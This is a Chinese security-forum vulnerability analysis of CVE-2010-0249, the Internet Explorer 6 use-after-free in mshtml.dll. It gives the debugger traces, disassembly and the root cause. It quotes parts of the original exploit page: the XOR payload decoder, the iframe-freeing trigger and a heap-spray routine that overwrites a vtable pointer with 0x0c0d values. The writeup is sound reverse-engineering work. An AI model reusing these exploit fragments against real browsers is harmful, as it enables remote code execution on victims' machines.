首页
社区
课程
招聘
[分享]漏洞分析 CVE-2010-0249
发表于: 2023-3-10 14:58 12949

[分享]漏洞分析 CVE-2010-0249

2023-3-10 14:58
12949

漏洞编号:CVE-2010-0249

危害等级:高危

漏洞类型:缓冲区溢出

操作系统:Windows 2000/XP/2003/Vista Gold/2008/7/

软件名称:Internet Explorer

软件版本:6.0

漏洞模块:mshtml.dll

模块版本:6.0.2900.5512

物理机(或者单独开一个虚拟机作为服务端)开启 IIS 服务作为网站服务器

控制面板 — 程序和功能 — 启用或关闭 Windows 功能

控制面板 — 管理工具 — Internet Information Services (IIS)管理器(注意不是6.0的那个)

虚拟机使用 window xp sp3,建议从msdn下载镜像自己安装,笔者最开始用的别人做好的windows xp sp3 虚拟机 POC 无法正常运行,这里附上MSDN中的镜像版本 Windows XP Professional with Service Pack 3 (x86) - CD (Chinese-Simplified)。

启动windbg并配置符号文件,使用 windbg 附加 IE 浏览器,执行 poc http://192.168.0.113/Aurora.html?rFfWELUjLJHpP,等待windbg 断在 mshtml!CElement::GetDocPtr+0x2:处,需要注意该 poc 的堆喷射并非每次都可以成功,如未在此处断下建议多尝试几次,如正确断下则代表漏洞已复现成功,此时可在 windbg 中使用命令 .dump -ma dumpfile.dmp 将异常信息全部 dump 到文件中,dumpfile.dmp 文件保存在 windbg 软件所在的目录中。

可以通过栈帧,回溯漏洞的调用流程

在 IDA 中查看地址 7e44c4c8 处代码,因为异常断在 7e278c85 处,所以显然是 7E278C83 的 mov eax[ecx]出现问题,因为这只是一条 mov 指令,所以异常必然是对 ecx 解引用导致的,也就是说此时 ecx 的值是非法地址,为了清晰的观察 ecx 的值的传递过程,此时我们将 ecx 的值标记位 leak,我们倒着推一下 leak 这个值是怎么来的

通过栈回溯,在IDA中跳转到地址 7E44C4BE,此时我们容易推出下列结论,leak = [esi]

继续向上回推,会发现 esi = [eax+n],eax = [ebp + var_8],此时我们暂且认为n为0,即 leak = [[eax]] = [[[ebp + var_8]]] 显然接下来我们需要关注 var_8

继续向上推会发现其调用了函数 GetParam@CEventObj,而这个函数将 [ebp+var_8] 作为唯一参数,显然我们需知道这个函数中是否对 [ebp+var_8] 的值进行了修改,因为是作为参数压入了栈中,下面的代码中我们需要关注的其实是 [ebp+8],通过简单的代入可得到:[[参数1]] = this + 0x18

回到调用 GetParam@CEventObj 函数处,可以轻松推导出 [[eax]] = this + 0x18,结合之前的推论 leak = [[[ebp + var_8]]],可得到最终推论 leak = [this+0x18]

而函数 GenericGetElement 的 this 也就是 ecx 是由外界参数传入的,也就是说这个地址是可控的

setInterval:可按照指定的周期(以毫秒计)来调用函数或计算表达式,setInterval方法会不停地调用函数,直到 clearInterval被调用或窗口被关闭。window.setInterval(调用函数,延时时间);

event.srcElement:可以捕获当前事件作用的对象

document.createElement:动态创建DOM元素并插入的已有的HTML中,函数接受一个HTML标签名称并返回Element 类型的新节点。

unescape:可对通过 escape() 编码的字符串进行解码。

为了便于分析,我们不希望程序直接被执行,而是想看一下解密后的代码是什么,而解密后的代码保存在变量“NqxAXnnXiILOBMwVnKoqnbp”里面,我们可以先将上述代码注释掉,在它上面添加这样的一行代码,这里结合console.log() 方法可以将解密后的内容在控制台输出,使用浏览器执行这个网页文件,打开开发者模式中的控制台就可以看到解密后的内容了

尽管已经定位到了导致崩溃的位置以及函数的调用情况,但是我们还是要进一步探索出现漏洞的根本原因的,所以有必要研究一下IE浏览器在解析这个PoC网页的时候到底出现了什么情况。通过刚才的分析我们知道,程序一开始调用了document.createEventObject为当前的event事件创建一个副本,因此我们不妨使用WinDbg的x命令来检查调试符号,这里可以找到两条结果,其中地址为0x7e216b2c的内容通过IDA查看,发现它是一种数据结构,所以程序只可能使用CDocument::createEventObject用于解析JavaScript代码中的document.createEventObject函数。所以不妨在IDA中来到0x7e383b3b位置分析一下副本的创建方式。来到该函数的末尾,可以发现它的主要功能是由CEventObj::Create来实现的。

在IDA中跳转到 7e383b3b,转换为伪代码后可以发现,实际调用的是 CEventObj::Create

在 CEventObj::Create 中在申请堆空间后,会调用函数 EVENTPARAM::EVENTPARAM

在分析 EVENTPARAM::EVENTPARAM 函数前先补充一下 EVENTPARAM 结构的知识

分析函数 EVENTPARAM::EVENTPARAM 可以看到,这个函数将参数二的数据拷贝到 this指针处,但是请注意,参数二中还包含着一个叫做CTreeNode的对象结构体,此处将CTreeNode对象拷贝,但是没有将CTreeNode的引用计数加一

我们已经弄清了漏洞的成因,所以我们尝试在windbg中观察漏洞的形成过程,看看事件对象是如何创建和保存的。其实在mshtml模块中是存在有一个用于创建不同元素的函数表的,它的地址是 7e21aa98

在这个函数表中我们可以找到创建IFrame的函数,它的地址是 7E21ADC0

回到虚拟机中在函数上下断点

这里所获取的CIFrameElement对象指针会保存在ecx寄存器中(利用IDA结合上下调用关系可以得知),也就是地址为0x01ca1710的位置,但由于现在还没有开始创建,因此这个地址中并没有内容。

然后我们在CTreeNode上也下一个断点,并通过栈回溯来观察一下

在这里,CTreeNode已经将刚才的CIFrameElement对象指针当作自己的第二个参数使用了。同时利用CTreeNode::SetElement函数将CIFrameElement类与CTreeNode相关联。此时可以再看一下0x01ca1710中的内容并进行解引用:

此时查看 7e25bc68 处可以看到,该指针最终指向的是“vftable”

如果在我们之前提取出来的dump文件中,查看原本指向虚表的指针,即0x01ca1710位置,则可以看到如下数据

在创建CEventObj时,会创建EVENTPARAM结构,如果新创建的CEventObj是从已有的CEventObj继承而来时,则这两个CEventObj事件的源相同。在新创建的EVENTPARAM结构的偏移0处的元素pNode(CTreeNode),将复制源CEventObj该处的值。
在补丁前,上述过程没有增加CTreeNode的引用计数,在精心构造的html中,有可能导致CTreeNode已经释放,而EVENTPARAM的pNode却仍然指向它,导致释放后重用。
补丁后,在EVENTPARAM::EVENTPARAM中,对上述情况作了处理,增加CTreeNode的引用计数,不会再导致问题

 
 
 
 
 
 
 
0:000> k
ChildEBP RetAddr 
0012e358 7e44c4c8 mshtml!CElement::GetDocPtr+0x2
0012e37c 7e44c623 mshtml!CEventObj::GenericGetElement+0x9c
0012e38c 7e3af659 mshtml!CEventObj::get_srcElement+0x15
0012e3b0 7e2a8a23 mshtml!GS_IDispatchp+0x33
0012e430 7e2a88bf mshtml!CBase::ContextInvokeEx+0x462
0012e45c 75be1408 mshtml!CBase::InvokeEx+0x25
0012e494 75be1378 jscript!IDispatchExInvokeEx2+0xac
0:000> k
ChildEBP RetAddr 
0012e358 7e44c4c8 mshtml!CElement::GetDocPtr+0x2
0012e37c 7e44c623 mshtml!CEventObj::GenericGetElement+0x9c
0012e38c 7e3af659 mshtml!CEventObj::get_srcElement+0x15
0012e3b0 7e2a8a23 mshtml!GS_IDispatchp+0x33
0012e430 7e2a88bf mshtml!CBase::ContextInvokeEx+0x462
0012e45c 75be1408 mshtml!CBase::InvokeEx+0x25
0012e494 75be1378 jscript!IDispatchExInvokeEx2+0xac
7E278C83 ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ proc near
7E278C83 mov     eax, [ecx]                ; ecx = leak
7E278C85 call    dword ptr [eax+34h]
7E278C88 mov     eax, [eax+0Ch]
7E278C8B retn
7E278C8B ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ endp
7E278C83 ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ proc near
7E278C83 mov     eax, [ecx]                ; ecx = leak
7E278C85 call    dword ptr [eax+34h]
7E278C88 mov     eax, [eax+0Ch]
7E278C8B retn
7E278C8B ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ endp
7E44C4BE push    ebx
7E44C4BF mov     ebx, [esi]      ; leak = [esi]
7E44C4C1 mov     ecx, ebx        ; ebx = leak
7E44C4C3 call    ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ ;ecx = leak
7E44C4C8 mov     eax, [eax+14Ch]
7E44C4CE mov     eax, [eax+2Ch]
7E44C4D1 mov     ecx, [eax+20h]  ; this
7E44C4BE push    ebx
7E44C4BF mov     ebx, [esi]      ; leak = [esi]
7E44C4C1 mov     ecx, ebx        ; ebx = leak
7E44C4C3 call    ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ ;ecx = leak
7E44C4C8 mov     eax, [eax+14Ch]
7E44C4CE mov     eax, [eax+2Ch]
7E44C4D1 mov     ecx, [eax+20h]  ; this
 
 
 
 
 
 
 
var vuWGWsvUonxrQzpqgBXPrZNSKRGee = location.search.substring(1);
var NqxAXnnXiILOBMwVnKoqnbp = '';
for (i=0;i<RXb.length;i++) {
    NqxAXnnXiILOBMwVnKoqnbp += String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i%vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
}
console.log(NqxAXnnXiILOBMwVnKoqnbp);
//window["eval".replace(/[A-Z]/g,"")](NqxAXnnXiILOBMwVnKoqnbp);
var vuWGWsvUonxrQzpqgBXPrZNSKRGee = location.search.substring(1);
var NqxAXnnXiILOBMwVnKoqnbp = '';
for (i=0;i<RXb.length;i++) {
    NqxAXnnXiILOBMwVnKoqnbp += String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i%vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
}
console.log(NqxAXnnXiILOBMwVnKoqnbp);
//window["eval".replace(/[A-Z]/g,"")](NqxAXnnXiILOBMwVnKoqnbp);
<span id="vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY">
    <iframe src="/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" onload="WisgEgTNEfaONekEqaMyAUALLMYW(event)" />
</span>
<span id="vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY">
    <iframe src="/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" onload="WisgEgTNEfaONekEqaMyAUALLMYW(event)" />
</span>
function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz)
{
    gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX(); //堆喷射
    lTneQKOeMgwvXaqCPyQAaDDYAkd =
        document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz); //此处将事件对象创建了一份(引用计数加一)
    document.getElementById("vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY").innerHTML = ""; //此处释放 iframe
    window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo, 50);//延时调用,访问已经被释放的内存
}
function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz)
{
    gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX(); //堆喷射
    lTneQKOeMgwvXaqCPyQAaDDYAkd =
        document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz); //此处将事件对象创建了一份(引用计数加一)
    document.getElementById("vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY").innerHTML = ""; //此处释放 iframe
    window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo, 50);//延时调用,访问已经被释放的内存
}
function nayjNuSncnxGnhZDJrEXatSDkpo(){
    p = "\u0c0f\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
    for (i = 0; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i++)
    {
        MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data = p; //将全局对象中的数据改为 0c0d0c0d(覆盖虚表指针)
    }
    var t = lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement; //获取一个已经置空了的对象
}
function nayjNuSncnxGnhZDJrEXatSDkpo(){
    p = "\u0c0f\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
    for (i = 0; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i++)
    {
        MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data = p; //将全局对象中的数据改为 0c0d0c0d(覆盖虚表指针)
    }
    var t = lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement; //获取一个已经置空了的对象
}
0:000> x mshtml!*document*createEventObject*
7e216b2c          mshtml!s_methdescCDocumentcreateEventObject = <no type information>
7e383b3b          mshtml!CDocument::createEventObject (<no parameter info>)
0:000> x mshtml!*document*createEventObject*
7e216b2c          mshtml!s_methdescCDocumentcreateEventObject = <no type information>
7e383b3b          mshtml!CDocument::createEventObject (<no parameter info>)
int __userpurge CDocument::createEventObject@<eax>(
        GUID *a1@<esi>,
        CDocument *this,
        struct tagVARIANT *a3,
        struct IHTMLEventObj **a4)
{
 
  v8 = CDocument::Doc(this);
  v9 = 0;
  if ( a4 )
  {
    ......
    v7 = v9;
    v5 = CDocument::Markup(this);
    v4 = CEventObj::Create((int)a1, a4, v8, 0, v5, 0, 0, v7, 0);
    return CBase::SetErrorInfo(this, v4);
  }
  v4 = -2147024809;
  return CBase::SetErrorInfo(this, v4);
}
int __userpurge CDocument::createEventObject@<eax>(
        GUID *a1@<esi>,
        CDocument *this,
        struct tagVARIANT *a3,
        struct IHTMLEventObj **a4)
{
 
  v8 = CDocument::Doc(this);
  v9 = 0;
  if ( a4 )
  {
    ......
    v7 = v9;
    v5 = CDocument::Markup(this);
    v4 = CEventObj::Create((int)a1, a4, v8, 0, v5, 0, 0, v7, 0);
    return CBase::SetErrorInfo(this, v4);

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-3-12 19:32 被简单的简单编辑 ,原因:
上传的附件:
收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 14653
活跃值: (17749)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
图挂了,重新上传一下
2023-3-10 17:39
0
雪    币: 6510
活跃值: (4922)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
pureGavin 图挂了,重新上传一下
图并没有挂,就是显示不出来,可能看雪不支持png的格式?索性我直接把markdown原文件放附件了
2023-3-10 18:15
0
雪    币: 6510
活跃值: (4922)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
4
pureGavin 图挂了,重新上传一下
而且右键在新标签里打开图片也是可以查看的
2023-3-10 18:16
0
雪    币: 50161
活跃值: (20625)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
5
这个图床“http://jiandanyun.myds.me:4567/2023/03/image-20230306015546926.png”,对其他站点显示有限制,因此显示不了。
建议换个图床,或直接帖图片上来
2023-3-12 11:09
0
雪    币: 6510
活跃值: (4922)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
6
kanxue 这个图床“http://jiandanyun.myds.me:4567/2023/03/image-20230306015546926.png”,对其他站点显示有限制,因此显示不了。 建议换个图床, ...
这个图床是我自己用nas搭建的,就是个ftp服务,我这没设置什么限制,请问是需要开启什么选项么?
2023-3-12 19:34
0
雪    币: 14653
活跃值: (17749)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
7
简单的简单 这个图床是我自己用nas搭建的,就是个ftp服务,我这没设置什么限制,请问是需要开启什么选项么?
其实你在上传文章的时候直接把图片复制粘贴过来就行了,直接把图片存在看雪的服务器也挺好,反正用的不是你的硬盘空间
2023-3-13 09:27
0
游客
登录 | 注册 方可回帖
返回
//